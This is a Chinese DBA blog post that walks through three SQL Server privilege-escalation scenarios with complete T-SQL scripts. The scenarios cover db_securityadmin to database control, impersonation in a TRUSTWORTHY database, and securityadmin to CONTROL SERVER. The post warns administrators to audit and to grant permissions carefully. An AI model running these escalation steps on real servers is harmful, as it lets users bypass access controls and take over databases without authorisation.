小心被你的同事填坑

   每个人都在各自权限内做事,循规蹈矩,那么将万事大吉。但当有人越权处理事情时,尤其当你不知道他在行使你的权利时,那么事情将变得非常糟糕。作为一个数据库管理员,给同事创建数据库账户并分配合适的权限,是DBA工作中不可或缺的一部分。当你给了不合适的权限,而又没有做辅助的审计措施,那么很不幸的告诉你,你将可能成为一个背锅人。下面我将通过三个场景,分享SQL Server数据库账户做越权的勾当。

情景1:拥有db_securityadmin 权限用户获得db_owner权限

      在这个案例中,我们将会为同事A分配一个拥有db_securityadmin权限的用户,看其如何行使db_owner角色成员权限。

       我们先创建一个数据库[DB1] 并且创建登录名及在数据库[DB1]中创建对应用户。我将在SSMS的窗口,假设为窗口1中,以sysadmin成员的用户运行如下脚本:

--窗口1
use master
go
if DB_ID('DB1') is not null
       drop database DB1;
create database DB1;
alter database DB1 
set recovery simple;
go
create login loginName1 
with password='HelloWorld!'
     ,check_policy=off
go
use DB1
create user loginName1 
for login loginName1
exec sp_addrolemember 
      db_securityAdmin,loginName1

下面我们将新开一个SSMS窗口,假设为窗口2,并使用loginName1 登陆。

登陆后,我们试图创建一个表,脚本如下:

--窗口2,使用loginName1 登陆
use DB1
create table dbo.TestTable(id int);

我们将获得如下错误:

       这正是我们所期望的,因为loginName1仅仅是db_securityadmin 的成员,其不能进行任何的DDL/DML操作。

      因此,如何提升login Name1的权限,使其可以进行DDL/DML 甚至更多工作,如创建/删除一个用户?其实相当简单。

在窗口2,我们运行如下脚本:

--窗口2,使用loginName1 登陆
use DB1
create role TestRole;
grant control on database::DB1 to TestRole
exec sp_addrolemember TestRole,loginName1;
--现在loginName1具有DML/DDL权限
create table dbo.table1(id int)
insert into table1(id) values(1),(2)
drop table dbo.table1

 脚本主要做了两件事情,首先创建数据库角色[TestRole] ,并且为新角色赋予数据库[control] 权限,然后将loginName1加入该角色,这样 loginName1获得了[DB1] 数据库几乎全部权限。即同事A可以对我们的数据库DB1为所欲为了,包括删除数据库。我们可以通过运行如下脚本进行查看:

select * from sys.fn_my_permissions(null,'database')

我们将获得一共74个权限(这是我在SQL Server 2016上获得的结果),如下面这样:

 

情景2:数据库启动了trustworthy

  

       在这个例子中,我们将看到一个数据库用户,在一个trustworthy启动的数据库中,可以拥有另外一个数据库。

       我们将创建两个数据库,创建两个账户和其对应的用户。具体脚本如下:

--窗口1
use DB1
go
--沿用情景1中loginName1,收回情景1中给定的权限
alter role db_securityadmin drop member loginName1
alter role [TestRole] drop MEMBER [loginName1]
drop role TestRole
use master
go
create database DB2;
alter database DB2 set recovery simple;
create login loginName2 with password='HelloWorld!'
       ,check_policy=off
go
use DB1
go
exec sp_addrolemember db_owner,loginName1
create user loginName2 for login loginName2
exec sp_addrolemember db_datareader,loginName2
go
use DB2
go
create user loginName2 for login loginName2
exec sp_addrolemember db_owner,loginName2
go

注意,loginName1 在DB1 中是db_owner的成员,loginName1 不是 DB2的用户。loginName2 是DB1中db_datareader 角色成员。loginName2是DB2中db_owner的成员。

     现在我们另外打开一个SSMS 窗口,假设为窗口2,并且使用loginName1 登陆。在新的窗口2中,我们运行如下脚本,我们可以发现,loginName1 不能读取DB2 的数据:

--窗口2,使用loginName1 登陆
use DB1
print '我是 '+ quotename(user_name(),'[');
select * from db2.dbo.t

我们得到如下信息:

       因此[loginName1] 不能读取 DB2的对象,这正是我们所期望的。现在即使我们试图在窗口2中使用 execute as loginName2,读取DB2.dbo.t,我们仍然不能成功,如下所示:

--窗口2,使用loginName1 登陆
exec as user='loginName2'
select suser_sname(), * from DB2.dbo.t
revert

现在,如果我们检查DB1 的trustworthy 设置,我们会发现其为关闭状态(默认情况):

select
       name,is_trustworthy_on
from sys.databases
where name='DB1'

我们将开启DB1 的trustworthy设置,下面展示当其开启后发生了什么(这将在窗口1由sysadmin账号执行):

alter database DB1 set trustworthy on
select
       name,is_trustworthy_on
from sys.databases
where name in('DB1','DB2')

现在,我们将再次使用用户loginName1运行前面窗口2中的脚本,我们将看到如果我们直接使用loginName1运行脚本,我们仍然不能读取DB2.dbo.t:

但是,如果loginName1模仿loginName2(其为DB2数据库db_owner的成员),loginName1可以读取DB2数据库的数据:

       实际上,通过模仿,如果[DB1] 启用 trustworthy,loginName1 可以提升权限至同 loginName2 一致,在这种情况下,loginName2是DB2的db_owner 角色成员,尽管此时loginName1并不是DB2的用户。

       例如,loginName1甚至可以通过如下动态语句将其自己加入到DB2数据库,并成为DB2数据库db_owner成员(在窗口2运行):

--窗口2,使用loginName1 登陆
exec as user='loginName2'
--select suser_sname(), * from DB2.dbo.t
exec ('use db2; create user [loginName1] 
    from login [loginName1]; 
    alter role db_owner add member [loginName1];')
revert

我们可以通过在窗口1中运行如下脚本,对上面脚本成功与否进行验证:

我们发现loginName1是DB2的一个用户,并且是db_owner的一个成员。

 

情景3:拥有SecurityAdmin权限的用户可以获得SysAdmin权限

 

SQL Server 在线文档中,有一个关于securityadmin角色的重要提示,具体如下:

      假设我们有登陆名loginName1 并且其为securityadmin角色的成员。我们将看到loginName1如何获得sysadmin权限。

      我们使用sysadmin角色成员的登陆用户,先打开一个SSMS窗口,假设为窗口1,运行如下代码:

--窗口1
use master
if SUSER_ID('loginName1') is not null
       drop login loginName1
create login loginName1 
with password='HelloWorld!'
     ,check_policy=off
exec sp_addsrvrolemember loginName1,securityadmin

现在我们用loginName1 登陆,打开一个新的窗口,窗口2

--窗口2
if SUSER_ID('loginName2') is not null
       drop login loginName2
create login loginName2 
with password='HelloWorld!'
     ,check_policy=off
grant control server to loginName2

因为loginName1 创建了登录名loginName2,这意味着loginName1知道loginName2的密码,因此loginName1再打开一个SSMS窗口,窗口3,使用loginName2登陆。因为loginName2拥有[control server]权限,所以loginName2几乎和一个sysadmin成员的账户具有相同权限,即loginName2可以创建/删除数据库,通过sp_configure配置数据库,或者关闭SQL Server 实例,如下所示:

如果loginName1在窗口2执行同样的操作,将不能完成

总结,本文中,我们列举了SQL Server 登陆名,或者数据库用户提升为更高权限的登陆名/用户。这提醒我们当赋予这类权限的时候要特别小心,我们需要在合适的地方进行审计,以防权限的滥用。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章